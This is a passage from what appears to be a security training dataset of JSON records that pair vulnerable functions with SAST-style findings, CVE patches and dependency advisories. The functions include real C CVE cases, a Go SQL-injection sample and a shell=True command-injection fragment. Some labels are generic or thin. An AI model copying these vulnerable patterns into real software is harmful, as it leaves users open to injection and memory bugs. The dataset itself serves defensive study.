\"ast_node\": \"string_start\",\n \"line\": 4,\n \"col\": 20\n },\n {\n \"token\": \"convert \",\n \"ast_node\": \"string_content\",\n \"line\": 4,\n \"col\": 21\n },\n {\n \"token\": \"'\",\n \"ast_node\": \"string_end\",\n \"line\": 4,\n \"col\": 29\n },\n {\n \"token\": \"+\",\n \"ast_node\": \"+\",\n \"line\": 4,\n \"col\": 31\n },\n {\n \"token\": \"raw\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 33\n },\n {\n \"token\": \"+\",\n \"ast_node\": \"+\",\n \"line\": 4,\n \"col\": 37\n },\n {\n \"token\": \"'\",\n \"ast_node\": \"string_start\",\n \"line\": 4,\n \"col\": 39\n },\n {\n \"token\": \" out.png\",\n \"ast_node\": \"string_content\",\n \"line\": 4,\n \"col\": 40\n },\n {\n \"token\": \"'\",\n \"ast_node\": \"string_end\",\n \"line\": 4,\n \"col\": 48\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 4,\n \"col\": 49\n },\n {\n \"token\": \"shell\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 51\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 4,\n \"col\": 56\n },\n {\n \"token\": \"True\",\n \"ast_node\": \"true\",\n \"line\": 4,\n \"col\": 57\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 4,\n \"col\": 61\n }\n ],\n \"explanation\": \"shell=True with concatenated input lets an attacker inject shell metacharacters.\",\n \"remediation\": \"Avoid shell invocation; pass arguments as an array to exec APIs and validate/allow-list inputs.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-125", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "tBTA_AV_EVT bta_av_proc_meta_cmd(tAVRC_RESPONSE* p_rc_rsp,\n tBTA_AV_RC_MSG* p_msg, uint8_t* p_ctype) {\n tBTA_AV_EVT evt = BTA_AV_META_MSG_EVT;\n uint8_t u8, pdu, *p;\n uint16_t u16;\n tAVRC_MSG_VENDOR* p_vendor = &p_msg->msg.vendor;\n\n pdu = *(p_vendor->p_vendor_data);\n p_rc_rsp->pdu = pdu;\n *p_ctype = AVRC_RSP_REJ;\n\n /* Check to ansure a valid minimum meta data length */\n if ((AVRC_MIN_META_CMD_LEN + p_vendor->vendor_len) > AVRC_META_CMD_BUF_SIZE) {\n /* reject it */\n p_rc_rsp->rsp.status = AVRC_STS_BAD_PARAM;\n APPL_TRACE_ERROR(\"%s: Invalid meta-command length: %d\", __func__,\n p_vendor->vendor_len);\n return 0;\n }\n\n /* Metadata messages only use PANEL sub-unit type */\n if (p_vendor->hdr.subunit_type != AVRC_SUB_PANEL) {\n APPL_TRACE_DEBUG(\"%s: SUBUNIT must be PANEL\", __func__);\n /* reject it */\n evt = 0;\n p_vendor->hdr.ctype = AVRC_RSP_NOT_IMPL;\n p_vendor->vendor_len = 0;\n p_rc_rsp->rsp.status = AVRC_STS_BAD_PARAM;\n } else if (!AVRC_IsValidAvcType(pdu, p_vendor->hdr.ctype)) {\n APPL_TRACE_DEBUG(\"%s: Invalid pdu/ctype: 0x%x, %d\", __func__, pdu,\n p_vendor->hdr.ctype);\n /* reject invalid message without reporting to app */\n evt = 0;\n p_rc_rsp->rsp.status = AVRC_STS_BAD_CMD;\n } else {\n switch (pdu) {\n\n case AVRC_PDU_GET_CAPABILITIES:\n /* process GetCapabilities command without reporting the event to app */\n evt = 0;\n u8 = *(p_vendor->p_vendor_data + 4);\n p = p_vendor->p_vendor_data + 2;\n p_rc_rsp->get_caps.capability_id = u8;\n BE_STREAM_TO_UINT16(u16, p);\n if ((u16 != 1) || (p_vendor->vendor_len != 5)) {\n p_rc_rsp->get_caps.status = AVRC_STS_INTERNAL_ERR;\n } else {\n p_rc_rsp->get_caps.status = AVRC_STS_NO_ERROR;\n if (u8 == AVRC_CAP_COMPANY_ID) {\n *p_ctype = AVRC_RSP_IMPL_STBL;\n p_rc_rsp->get_caps.count = p_bta_av_cfg->num_co_ids;\n memcpy(p_rc_rsp->get_caps.param.company_id,\n p_bta_av_cfg->p_meta_co_ids,\n (p_bta_av_cfg->num_co_ids << 2));\n } else if (u8 == AVRC_CAP_EVENTS_SUPPORTED) {\n *p_ctype = AVRC_RSP_IMPL_STBL;\n p_rc_rsp->get_caps.count = p_bta_av_cfg->num_evt_ids;\n memcpy(p_rc_rsp->get_caps.param.event_id,\n p_bta_av_cfg->p_meta_evt_ids, p_bta_av_cfg->num_evt_ids);\n } else {\n APPL_TRACE_DEBUG(\"%s: Invalid capability ID: 0x%x\", __func__, u8);\n /* reject - unknown capability ID */\n p_rc_rsp->get_caps.status = AVRC_STS_BAD_PARAM;\n }\n }\n break;\n\n case AVRC_PDU_REGISTER_NOTIFICATION:\n /* make sure the event_id is implemented */\n p_rc_rsp->rsp.status = bta_av_chk_notif_evt_id(p_vendor);\n if (p_rc_rsp->rsp.status != BTA_AV_STS_NO_RSP) evt = 0;\n break;\n }\n }\n\n return evt;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-125\",\n \"cwe_name\": \"Out-of-bounds Read\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2018-9507\",\n \"project\": \"Android\",\n \"vulnerable_lines\": [\n 45\n ],\n \"sink_node_type\": \"if_statement\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\",\n \"compound_statement\",\n \"if_statement\",\n \"else_clause\",\n \"if_statement\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 29,\n \"col\": 8\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 29,\n \"col\": 11\n },\n {\n \"token\": \"!\",\n \"ast_node\": \"!\",\n \"line\": 29,\n \"col\": 12\n },\n {\n \"token\": \"AVRC_IsValidAvcType\",\n \"ast_node\": \"identifier\",\n \"line\": 29,\n \"col\": 13\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 29,\n \"col\": 32\n },\n {\n \"token\": \"pdu\",\n \"ast_node\": \"identifier\",\n \"line\": 29,\n \"col\": 33\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 29,\n \"col\": 36\n },\n {\n \"token\": \"p_vendor\",\n \"ast_node\": \"identifier\",\n \"line\": 29,\n \"col\": 38\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 29,\n \"col\": 46\n },\n {\n \"token\": \"hdr\",\n \"ast_node\": \"field_identifier\",\n \"line\": 29,\n \"col\": 48\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 29,\n \"col\": 51\n },\n {\n \"token\": \"ctype\",\n \"ast_node\": \"field_identifier\",\n \"line\": 29,\n \"col\": 52\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 29,\n \"col\": 57\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 29,\n \"col\": 58\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 29,\n \"col\": 60\n },\n {\n \"token\": \"APPL_TRACE_DEBUG\",\n \"ast_node\": \"identifier\",\n \"line\": 30,\n \"col\": 4\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 30,\n \"col\": 20\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 30,\n \"col\": 21\n },\n {\n \"token\": \"%s: Invalid pdu/ctype: 0x%x, %d\",\n \"ast_node\": \"string_content\",\n \"line\": 30,\n \"col\": 22\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 30,\n \"col\": 53\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 30,\n \"col\": 54\n },\n {\n \"token\": \"__func__\",\n \"ast_node\": \"identifier\",\n \"line\": 30,\n \"col\": 56\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 30,\n \"col\": 64\n },\n {\n \"token\": \"pdu\",\n \"ast_node\": \"identifier\",\n \"line\": 30,\n \"col\": 66\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 30,\n \"col\": 69\n },\n {\n \"token\": \"p_vendor\",\n \"ast_node\": \"identifier\",\n \"line\": 31,\n \"col\": 21\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 31,\n \"col\": 29\n },\n {\n \"token\": \"hdr\",\n \"ast_node\": \"field_identifier\",\n \"line\": 31,\n \"col\": 31\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 31,\n \"col\": 34\n },\n {\n \"token\": \"ctype\",\n \"ast_node\": \"field_identifier\",\n \"line\": 31,\n \"col\": 35\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 31,\n \"col\": 40\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 31,\n \"col\": 41\n },\n {\n \"token\": \"/* reject invalid message without reporting to app */\",\n \"ast_node\": \"comment\",\n \"line\": 32,\n \"col\": 1\n },\n {\n \"token\": \"evt\",\n \"ast_node\": \"identifier\",\n \"line\": 33,\n \"col\": 4\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 33,\n \"col\": 8\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 33,\n \"col\": 10\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 33,\n \"col\": 11\n },\n {\n \"token\": \"p_rc_rsp\",\n \"ast_node\": \"identifier\",\n \"line\": 34,\n \"col\": 4\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 34,\n \"col\": 12\n },\n {\n \"token\": \"rsp\",\n \"ast_node\": \"field_identifier\",\n \"line\": 34,\n \"col\": 14\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 34,\n \"col\": 17\n },\n {\n \"token\": \"status\",\n \"ast_node\": \"field_identifier\",\n \"line\": 34,\n \"col\": 18\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 34,\n \"col\": 25\n },\n {\n \"token\": \"AVRC_STS_BAD_CMD\",\n \"ast_node\": \"identifier\",\n \"line\": 34,\n \"col\": 27\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 34,\n \"col\": 43\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 35,\n \"col\": 1\n },\n {\n \"token\": \"else\",\n \"ast_node\": \"else\",\n \"line\": 35,\n \"col\": 3\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 35,\n \"col\": 8\n },\n {\n \"token\": \"switch\",\n \"ast_node\": \"switch\",\n \"line\": 36,\n \"col\": 1\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 36,\n \"col\": 8\n },\n {\n \"token\": \"pdu\",\n \"ast_node\": \"identifier\",\n \"line\": 36,\n \"col\": 9\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 36,\n \"col\": 12\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 36,\n \"col\": 14\n },\n {\n \"token\": \"case\",\n \"ast_node\": \"case\",\n \"line\": 38,\n \"col\": 7\n },\n {\n \"token\": \"AVRC_PDU_GET_CAPABILITIES\",\n \"ast_node\": \"identifier\",\n \"line\": 38,\n \"col\": 12\n },\n {\n \"token\": \":\",\n \"ast_node\": \":\",\n \"line\": 38,\n \"col\": 37\n },\n {\n \"token\": \"/* process GetCapabilities command without reporting the event to app */\",\n \"ast_node\": \"comment\",\n \"line\": 39,\n \"col\": 9\n },\n {\n \"token\": \"evt\",\n \"ast_node\": \"identifier\",\n \"line\": 40,\n \"col\": 9\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 40,\n \"col\": 13\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 40,\n \"col\": 15\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-200", "source": "BigVul (real CVE fix pairs)", "instruction": "The following C function contains a known security vulnerability (CWE-200). Produce the patched version and explain the fix. Output JSON.", "input": "static int caif_seqpkt_recvmsg(struct kiocb *iocb, struct socket *sock,\n\t\t\t\tstruct msghdr *m, size_t len, int flags)\n\n{\n\tstruct sock *sk = sock->sk;\n\tstruct sk_buff *skb;\n\tint ret;\n\tint copylen;\n\n\tret = -EOPNOTSUPP;\n \tif (m->msg_flags&MSG_OOB)\n \t\tgoto read_error;\n \n \tskb = skb_recv_datagram(sk, flags, 0 , &ret);\n \tif (!skb)\n \t\tgoto read_error;\n\tcopylen = skb->len;\n\tif (len < copylen) {\n\t\tm->msg_flags |= MSG_TRUNC;\n\t\tcopylen = len;\n\t}\n\n\tret = skb_copy_datagram_iovec(skb, 0, m->msg_iov, copylen);\n\tif (ret)\n\t\tgoto out_free;\n\n\tret = (flags & MSG_TRUNC) ? skb->len : copylen;\nout_free:\n\tskb_free_datagram(sk, skb);\n\tcaif_check_flow_release(sk);\n\treturn ret;\n\nread_error:\n\treturn ret;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-200\",\n \"cwe_name\": \"Exposure of Sensitive Information\",\n \"cve\": \"CVE-2013-3227\",\n \"fixed_code\": \"static int caif_seqpkt_recvmsg(struct kiocb *iocb, struct socket *sock,\\n\\t\\t\\t\\tstruct msghdr *m, size_t len, int flags)\\n\\n{\\n\\tstruct sock *sk = sock->sk;\\n\\tstruct sk_buff *skb;\\n\\tint ret;\\n\\tint copylen;\\n\\n\\tret = -EOPNOTSUPP;\\n \\tif (m->msg_flags&MSG_OOB)\\n \\t\\tgoto read_error;\\n \\n\\tm->msg_namelen = 0;\\n\\n \\tskb = skb_recv_datagram(sk, flags, 0 , &ret);\\n \\tif (!skb)\\n \\t\\tgoto read_error;\\n\\tcopylen = skb->len;\\n\\tif (len < copylen) {\\n\\t\\tm->msg_flags |= MSG_TRUNC;\\n\\t\\tcopylen = len;\\n\\t}\\n\\n\\tret = skb_copy_datagram_iovec(skb, 0, m->msg_iov, copylen);\\n\\tif (ret)\\n\\t\\tgoto out_free;\\n\\n\\tret = (flags & MSG_TRUNC) ? skb->len : copylen;\\nout_free:\\n\\tskb_free_datagram(sk, skb);\\n\\tcaif_check_flow_release(sk);\\n\\treturn ret;\\n\\nread_error:\\n\\treturn ret;\\n}\\n\",\n \"change_summary\": \"caif: Fix missing msg_namelen update in caif_seqpkt_recvmsg()\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real labeled functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static int ibwdt_set_heartbeat(int t)\n{\n\tint i;\n\n\tif ((t < 0) || (t > 30))\n\t\treturn -EINVAL;\n\n\tfor (i = 0x0F; i > -1; i--)\n\t\tif (wd_times[i] > t)\n\t\t\tbreak;\n\twd_margin = i;\n\treturn 0;\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": null,\n \"cwe_name\": null,\n \"severity\": \"high\",\n \"project\": \"linux-2.6\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-200", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static void save_text_if_changed(const char *name, const char *new_value)\n{\n /* a text value can't be change if the file is not loaded */\n /* returns NULL if the name is not found; otherwise nonzero */\n if (!g_hash_table_lookup(g_loaded_texts, name))\n return;\n\n const char *old_value = g_cd ? problem_data_get_content_or_NULL(g_cd, name) : \"\";\n if (!old_value)\n old_value = \"\";\n if (strcmp(new_value, old_value) != 0)\n {\n struct dump_dir *dd = wizard_open_directory_for_writing(g_dump_dir_name);\n if (dd)\n dd_save_text(dd, name, new_value);\n \n dd_close(dd);\n problem_data_reload_from_dump_dir();\n update_gui_state_from_problem_data(/* don't update selected event */ 0);\n }\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-200\",\n \"cwe_name\": \"Exposure of Sensitive Information\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2015-5302\",\n \"project\": \"libreport\",\n \"vulnerable_lines\": [\n 18,\n 19\n ],\n \"sink_node_type\": \"if_statement\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\",\n \"compound_statement\",\n \"if_statement\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 11,\n \"col\": 4\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 11,\n \"col\": 7\n },\n {\n \"token\": \"strcmp\",\n \"ast_node\": \"identifier\",\n \"line\": 11,\n \"col\": 8\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 11,\n \"col\": 14\n },\n {\n \"token\": \"new_value\",\n \"ast_node\": \"identifier\",\n \"line\": 11,\n \"col\": 15\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 11,\n \"col\": 24\n },\n {\n \"token\": \"old_value\",\n \"ast_node\": \"identifier\",\n \"line\": 11,\n \"col\": 26\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 11,\n \"col\": 35\n },\n {\n \"token\": \"!=\",\n \"ast_node\": \"!=\",\n \"line\": 11,\n \"col\": 37\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 11,\n \"col\": 40\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 11,\n \"col\": 41\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 12,\n \"col\": 4\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 13,\n \"col\": 8\n },\n {\n \"token\": \"dump_dir\",\n \"ast_node\": \"type_identifier\",\n \"line\": 13,\n \"col\": 15\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 13,\n \"col\": 24\n },\n {\n \"token\": \"dd\",\n \"ast_node\": \"identifier\",\n \"line\": 13,\n \"col\": 25\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 13,\n \"col\": 28\n },\n {\n \"token\": \"wizard_open_directory_for_writing\",\n \"ast_node\": \"identifier\",\n \"line\": 13,\n \"col\": 30\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 13,\n \"col\": 63\n },\n {\n \"token\": \"g_dump_dir_name\",\n \"ast_node\": \"identifier\",\n \"line\": 13,\n \"col\": 64\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 13,\n \"col\": 79\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 13,\n \"col\": 80\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 14,\n \"col\": 8\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 14,\n \"col\": 11\n },\n {\n \"token\": \"dd\",\n \"ast_node\": \"identifier\",\n \"line\": 14,\n \"col\": 12\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 14,\n \"col\": 14\n },\n {\n \"token\": \"dd_save_text\",\n \"ast_node\": \"identifier\",\n \"line\": 15,\n \"col\": 12\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 15,\n \"col\": 24\n },\n {\n \"token\": \"dd\",\n \"ast_node\": \"identifier\",\n \"line\": 15,\n \"col\": 25\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 15,\n \"col\": 27\n },\n {\n \"token\": \"name\",\n \"ast_node\": \"identifier\",\n \"line\": 15,\n \"col\": 29\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 15,\n \"col\": 33\n },\n {\n \"token\": \"new_value\",\n \"ast_node\": \"identifier\",\n \"line\": 15,\n \"col\": 35\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 15,\n \"col\": 44\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 15,\n \"col\": 45\n },\n {\n \"token\": \"dd_close\",\n \"ast_node\": \"identifier\",\n \"line\": 17,\n \"col\": 9\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 17,\n \"col\": 17\n },\n {\n \"token\": \"dd\",\n \"ast_node\": \"identifier\",\n \"line\": 17,\n \"col\": 18\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 17,\n \"col\": 20\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 17,\n \"col\": 21\n },\n {\n \"token\": \"problem_data_reload_from_dump_dir\",\n \"ast_node\": \"identifier\",\n \"line\": 18,\n \"col\": 8\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 18,\n \"col\": 41\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 18,\n \"col\": 42\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 18,\n \"col\": 43\n },\n {\n \"token\": \"update_gui_state_from_problem_data\",\n \"ast_node\": \"identifier\",\n \"line\": 19,\n \"col\": 8\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 19,\n \"col\": 42\n },\n {\n \"token\": \"/* don't update selected event */\",\n \"ast_node\": \"comment\",\n \"line\": 19,\n \"col\": 43\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 19,\n \"col\": 77\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 19,\n \"col\": 78\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 19,\n \"col\": 79\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 20,\n \"col\": 5\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-362", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static inline int may_ptrace_stop(void)\n{\n\tif (!likely(current->ptrace))\n\t\treturn 0;\n\t/*\n\t * Are we in the middle of do_coredump?\n\t * If so and our tracer is also part of the coredump stopping\n\t * is a deadlock situation, and pointless because our tracer\n\t * is dead so don't allow us to stop.\n \t * If SIGKILL was already sent before the caller unlocked\n \t * ->siglock we must see ->core_state != NULL. Otherwise it\n \t * is safe to enter schedule().\n \t */\n \tif (unlikely(current->mm->core_state) &&\n \t unlikely(current->mm == current->parent->mm))\n\t\treturn 0;\n\n\treturn 1;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-362\",\n \"cwe_name\": \"Race Condition\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2013-0871\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [],\n \"sink_node_type\": null,\n \"ast_path\": null,\n \"token_ast_map\": null,\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "c", "cwe": null, "source": "OSV (osv.dev) / Debian & Alpine security trackers", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: Debian:12\nManifest: distro package manager (apt/apk)\nPackage: wireshark\nInstalled version: <1.12.1+g01b65bf-4\nSummary: epan/dissectors/packet-wcp.c in the WCP dissector in Wireshark 1.10.x before 1.10.13 and 1.12.x before 1.12.4 does not properly initialize a data structure, which allows remote attackers to cause a de...", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"DEBIAN-CVE-2015-2188\",\n \"cve\": null,\n \"aliases\": [],\n \"cwe\": null,\n \"ecosystem\": \"Debian:12\",\n \"package\": \"wireshark\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <1.12.1+g01b65bf-4\",\n \"fixed_version\": \"1.12.1+g01b65bf-4\",\n \"finding\": \"epan/dissectors/packet-wcp.c in the WCP dissector in Wireshark 1.10.x before 1.10.13 and 1.12.x before 1.12.4 does not properly initialize a data structure, which allows remote attackers to cause a de...\",\n \"remediation\": \"Upgrade wireshark to 1.12.1+g01b65bf-4 or later.\"\n}"} {"task": "supply_chain_sca", "language": "python", "cwe": "CWE-502", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: PyPI\nManifest: requirements.txt\nPackage: feast\nInstalled version: <0.54.0\nSummary: Feast vulnerable to Deserialization of Untrusted Data", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-34wm-4hw7-qfjv\",\n \"cve\": \"CVE-2025-11157\",\n \"aliases\": [\n \"CVE-2025-11157\",\n \"PYSEC-2026-1366\"\n ],\n \"cwe\": \"CWE-502\",\n \"ecosystem\": \"PyPI\",\n \"package\": \"feast\",\n \"severity\": \"high\",\n \"affected_versions\": \">=0, <0.54.0\",\n \"fixed_version\": \"0.54.0\",\n \"finding\": \"Feast vulnerable to Deserialization of Untrusted Data\",\n \"remediation\": \"Upgrade feast to 0.54.0 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "go", "cwe": "CWE-89", "source": "curated SAST pattern + tree-sitter AST", "instruction": "You are a static application security testing (SAST) engine. Parse the go source into its AST, map each token to its AST node, identify the vulnerable sink, and report the vulnerability as JSON.", "input": "func getUser(w http.ResponseWriter, r *http.Request) {\n\traw := r.Header.Get(\"X-Input\")\n\tquery := fmt.Sprintf(\"SELECT * FROM users WHERE id = '%s'\", raw)\n\trows, _ := db.Query(query)\n\tdefer rows.Close()\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-89\",\n \"cwe_name\": \"SQL Injection\",\n \"title\": \"SQL injection via fmt.Sprintf\",\n \"severity\": \"critical\",\n \"vulnerable_lines\": [\n 4\n ],\n \"sink_node_type\": \"call_expression\",\n \"ast_path\": [\n \"source_file\",\n \"function_declaration\",\n \"block\",\n \"statement_list\",\n \"short_var_declaration\",\n \"expression_list\",\n \"call_expression\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"db\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 12\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 4,\n \"col\": 14\n },\n {\n \"token\": \"Query\",\n \"ast_node\": \"field_identifier\",\n \"line\": 4,\n \"col\": 15\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 4,\n \"col\": 20\n },\n {\n \"token\": \"query\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 21\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 4,\n \"col\": 26\n }\n ],\n \"explanation\": \"fmt.Sprintf builds the SQL string from untrusted input passed to db.Query.\",\n \"remediation\": \"Use parameterized queries / prepared statements; never concatenate untrusted input into SQL.\"\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-189", "source": "BigVul (real CVE fix pairs)", "instruction": "The following C function contains a known security vulnerability (CWE-189). Produce the patched version and explain the fix. Output JSON.", "input": " static int perf_swevent_init(struct perf_event *event)\n {\n\tint event_id = event->attr.config;\n \n \tif (event->attr.type != PERF_TYPE_SOFTWARE)\n \t\treturn -ENOENT;\n\n\t/*\n\t * no branch sampling for software events\n\t */\n\tif (has_branch_stack(event))\n\t\treturn -EOPNOTSUPP;\n\n\tswitch (event_id) {\n\tcase PERF_COUNT_SW_CPU_CLOCK:\n\tcase PERF_COUNT_SW_TASK_CLOCK:\n\t\treturn -ENOENT;\n\n\tdefault:\n\t\tbreak;\n\t}\n\n\tif (event_id >= PERF_COUNT_SW_MAX)\n\t\treturn -ENOENT;\n\n\tif (!event->parent) {\n\t\tint err;\n\n\t\terr = swevent_hlist_get(event);\n\t\tif (err)\n\t\t\treturn err;\n\n\t\tstatic_key_slow_inc(&perf_swevent_enabled[event_id]);\n\t\tevent->destroy = sw_perf_event_destroy;\n\t}\n\n\treturn 0;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-189\",\n \"cwe_name\": \"Numeric Errors\",\n \"cve\": \"CVE-2013-2094\",\n \"fixed_code\": \" static int perf_swevent_init(struct perf_event *event)\\n {\\n\\tu64 event_id = event->attr.config;\\n \\n \\tif (event->attr.type != PERF_TYPE_SOFTWARE)\\n \\t\\treturn -ENOENT;\\n\\n\\t/*\\n\\t * no branch sampling for software events\\n\\t */\\n\\tif (has_branch_stack(event))\\n\\t\\treturn -EOPNOTSUPP;\\n\\n\\tswitch (event_id) {\\n\\tcase PERF_COUNT_SW_CPU_CLOCK:\\n\\tcase 